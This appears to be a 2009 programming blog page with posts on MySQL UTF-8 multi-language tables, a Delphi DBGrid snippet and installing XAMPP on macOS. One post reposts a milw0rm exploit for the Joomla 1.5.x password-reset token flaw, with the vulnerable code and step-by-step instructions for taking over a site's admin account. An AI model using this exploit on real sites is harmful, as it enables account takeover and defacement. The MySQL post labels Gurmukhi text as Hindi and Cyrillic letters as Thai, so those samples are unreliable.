Saturday, June 13, 2009

Make Database MySQL support Multi-Language


mysql-logo Default, database MySQL supports many european languages, since unicode character(UTF-8) support implemented in mysql it allows us to store many of the indian (Asian) languages.

Here, we want to store and manipulate multi languages in mysql table for developing globalization / locale support enabled sites.

How to manipulate MySQL to supports multi-language, following below steps:

  1. First, create a table multi-language in mysql with below scripts:
    CREATE TABLE multi_language
    (
    id INTEGER NOT NULL AUTO_INCREMENT,
    language VARCHAR(30),
    characters TEXT,
    PRIMARY KEY(id)
    ) ENGINE=INNODB CHARACTER SET = utf8;
    INSERT INTO multi_language VALUES (NULL, ‘English’, ‘abcdefghijklmnopqsrtuvwxyz’);
    INSERT INTO multi_language VALUES (NULL, ‘Arabic’, ‘ﺃ‎ﺏﺝﺩ‎ﻫﻭﺯﺡﻁﻱﻙﻝ‎ﻡﻥ’);
    INSERT INTO multi_language VALUES (NULL, ‘Arabic’, ‘ﺃ‎ﺏﺝﺩ‎ﻫﻭﺯﺡﻁﻱﻙﻝ‎ﻡ ﻥ’);
    INSERT INTO multi_language VALUES (NULL, ‘Hindi’, ‘ਓਊਨਣਥਨਫ’);
    INSERT INTO multi_language VALUES (NULL, ‘Thai’, ‘ЁώύЂЬЫЗЪШДГЦШГЕ’);
    INSERT INTO multi_language VALUES (NULL, ‘Telugu’, ‘ని మీ హొమ్ పేజిగా అమర్చుకోండి’);
    INSERT INTO multi_language VALUES (NULL, ‘Tamil’, ‘இந்தியா நாட்டின் பக்கங்கள்’);
    INSERT INTO multi_language VALUES (NULL, ‘Arabic’, ‘البحث في الصفحات العربية ‘);
    INSERT INTO multi_language VALUES (NULL, ‘Korean’, ‘시작페이지로 하세요 채용정보 광고 프로그램 정보’);



  2. Change the client character set with Commands:

    For Client Side

     SET NAMES ‘utf8′;



    To Set Locale time zone name

    SET @@lc_time_names = ‘en_US’;



    To Set Tamil language: SET @@lc_time_names = ‘ta_IN’;




  3. Now, Check out the result.





IMPORTANTS!!!



1. You need to install the  Extral language support in your system (windows XP),  Control Panel -> Regional and Language Option ->  Languages -> Install files languages (Thai)



2. You need to include below the Meta tag:



<META HTTP-EQUIV=”Content-Type” CONTENT=”text/html; charset=utf-8″>

6:04 AM by Unknown · 0

Tuesday, June 9, 2009

How to Get DBGrid Cell Coordinates on StatusBar


Source code from delphi.about.com for get DBGrid Cell Coordinate on statusbar was modified by newbiedelphiphp, look below source.

The code to show over what cell in a DBGrid the cursor is, and how to change the cursor on status bar:

procedure Tfrandom.DBGrid1MouseMove(Sender: TObject; Shift: TShiftState; X,
  Y: Integer);
var   pt: TGridcoord;
begin
  pt:= DBGrid1.MouseCoord( x, y ) ;
  //change the cursor whe over title
  if pt.y=0 then
    DBGrid1.Cursor:=crHandPoint
  else
    DBGrid1.Cursor:=crDefault;
   If pt.X > 0 Then
     begin
     Caption := Format( 'Kolom: %d, Baris: %d, title: %s',
                [pt.x, pt.y, DBGrid1.columns[pt.x-1].title.caption] );
     statusbar.Panels[1].Text:=Caption;
     end
   Else
     Caption := Format( 'Kolom: %d, Baris: %d',[pt.x, pt.y] ) ;
end;


I was used Borland Delphi 7, if you use delphi 6 i think it’s no different.



Enjoy it!!!

10:02 PM by Unknown · 0

Monday, June 8, 2009

Vulnerability: Joomla 1.5.x (Token) Remote Admin Change Password


Joomla 1.5.x (Token) Remote Admin Change Password Vulnerability. Following below steps:

  1: #####################################################################################
  2: ####                     Joomla 1.5.x Remote Admin Password Change               ####
  3: #####################################################################################
  4: #                                                                                   #
  5: # Author: d3m0n (d3m0n@o2.pl)                                                       #
  6: # Greets: GregStar, gorion, d3d!k                                                   #
  7: #                                                                                   #
  8: # Polish "hackers" used this bug to deface turkish sites BUAHAHHA nice 0-day pff    #
  9: #                                                                                   #
 10: #####################################################################################
 11: 
 12: 
 13: 
 14: File : /components/com_user/controller.php
 15: 
 16: #####################################################################################
 17: Line : 379-399
 18:  
 19: 	function confirmreset()
 20: 	{
 21: 		// Check for request forgeries
 22: 		JRequest::checkToken() or die( 'Invalid Token' );
 23: 
 24: 		// Get the input
 25: 		$token = JRequest::getVar('token', null, 'post', 'alnum');              < ---  
 26:                   
 27: 		// Get the model
 28: 		$model = &$this->getModel('Reset');
 29: 
 30: 		// Verify the token
 31: 		if ($model->confirmReset($token) === false)   < --- 
 32: 		{
 33: 			$message = JText::sprintf('PASSWORD_RESET_CONFIRMATION_FAILED', $model->getError());
 34: 			$this->setRedirect('index.php?option=com_user&view=reset&layout=confirm', $message);
 35: 			return false;
 36: 		}
 37: 
 38: 		$this->setRedirect('index.php?option=com_user&view=reset&layout=complete');
 39: 	}
 40: 	
 41: #####################################################################################
 42: 	
 43: File : /components/com_user/models/reset.php
 44: 
 45: Line: 111-130 	
 46: 	
 47: 	
 48: 	
 49: 	function confirmReset($token)
 50: 	{
 51: 		global $mainframe;
 52: 
 53: 		$db	= &JFactory::getDBO();
 54: 		$db->setQuery('SELECT id FROM #__users WHERE block = 0 AND activation = '.$db->Quote($token));  < ----  
 55: 
 56: 		// Verify the token
 57: 		if (!($id = $db->loadResult()))
 58: 		{
 59: 			$this->setError(JText::_('INVALID_TOKEN'));
 60: 			return false;
 61: 		}
 62: 
 63: 		// Push the token and user id into the session
 64: 		$mainframe->setUserState($this->_namespace.'token',	$token);
 65: 		$mainframe->setUserState($this->_namespace.'id',	$id);
 66: 
 67: 		return true;
 68: 	}
 69: #####################################################################################
 70: 
 71: 
 72: 
 73:  - Replace ' with empty char
 74:  - If you enter ' in token field then query will be looks like : "SELECT id FROM jos_users WHERE block = 0 AND activation = '' "
 75: 
 76: 
 77: Example :
 78: 
 79: 
 80: 1. Go to url : target.com/index.php?option=com_user&view=reset&layout=confirm
 81: 
 82: 2. Write into field "token" char ' and Click OK.
 83: 
 84: 3. Write new password for admin
 85: 
 86: 4. Go to url : target.com/administrator/
 87: 
 88: 5. Login admin with new password
 89: 
 90: # milw0rm.com [2008-08-12]
 91: 

5:30 AM by Unknown · 0

Sunday, June 7, 2009

How to Install XAMPP on MAC OSX


Leopard brings one big change to web developers working with Apache, PHP and Mysql on Macintosh. Apache 2 comes with Leopard along with PHP 5. And Know, XAMPP is a free and open source cross-platform web server package, includes Apache HTTP Server, MySQL database, and interpreters for scripts written in the PHP and Perl programming languages.

Developed by Apache and the details are available. If you are a web programmer and you want to test the developed site as how will it look exactly when it is launched on the we, it can helps you. Makes your machine run as a web sever and host sites locally.

How to Download and Install XAMPP on your MAC.

  1. Following below link, a complete list of downloads (older versions) is available at sourceforge. Link of Download XAMPP for MAC: www.apachefriends.org)
  2. Open the *.dmg file and the very first thing you need to do is move or drag xampp folder into you applications folder.
  3. In order to run this all you need to do is open xampp control and launch Apache, MySQL and ProFTPD, where ProFTPD is not required until you have to upload the site on the server on the web.
  4. The final, check this application with browser. Open your browser and type http://localhost and you should see a page like below.

For more info about XAMPP here.

1

8:53 PM by Unknown · 0